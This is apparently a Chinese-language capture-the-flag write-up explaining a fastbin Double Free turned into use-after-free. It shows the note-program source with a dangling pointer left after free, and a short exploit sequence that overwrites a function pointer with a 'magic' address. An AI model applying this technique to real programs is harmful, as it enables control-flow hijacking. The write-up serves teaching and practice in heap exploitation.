使用电脑浏览效果更佳!
摘要
记录一道Double Free的利用手法,利用Double Free转为UAF达到控制程序流程目的。基本的思想一般是利用大小在fast_bin范围内的内存块间的错误解析,利用Double Free在fast_bin单向列表(后释放的在链表头,即LIFO的精确匹配分配)存放两个相同的内存块(Double free)A2->B->A1,在后面的malloc拿走A2,利用A2写入func_pointer,再一次malloc拿走B,在一次malloc一个包含函数调用指针的内存块,通过A2修改的指针已经覆盖了A1的函数指针,此时调用A1->func即运行写入的func_pointer。
分析
结构体
struct note { void (*printnote)(); //函数指针 char *content ; };
add_note
void print_note_content(struct note *this){ puts(this->content); } void add_note(){ .... for(i = 0 ; i < 5 ; i ++){ if(!notelist[i]){ notelist[i] = (struct note*)malloc(sizeof(struct note)); //先申请一个sizeof(note)的结构体大小的内存块,note的大小为=函数指针+指针大小=8+8bytes = 0x10,开始分配malloc后全部为0 notelist[i]->printnote = print_note_content; //函数指针,目标,覆盖该指针 //show_note中会调用该函数 printf("Note size :"); read(0,buf,8); size = atoi(buf); notelist[i]->content = (char *)malloc(size);//分配一个字符串content指针的地址空间,此处利用混淆,大小为note结构体大小 ... printf("Content :"); read(0,notelist[i]->content,size); ... } } }
delete_note:
if(notelist[idx]){ free(notelist[idx]->content); free(notelist[idx]); puts("Success");//没有对已经free的notelist[idx]进行清0,double free }
利用
exp
add(0x10,"A"*0x10) delete(0) delete(0) add(0x20,"B"*0x20) # list[0] add(0x10,p64(magic)) # list[1] show(1)
第一次free
第二次free
两次free后的结果
chunk结构
两步add_note利用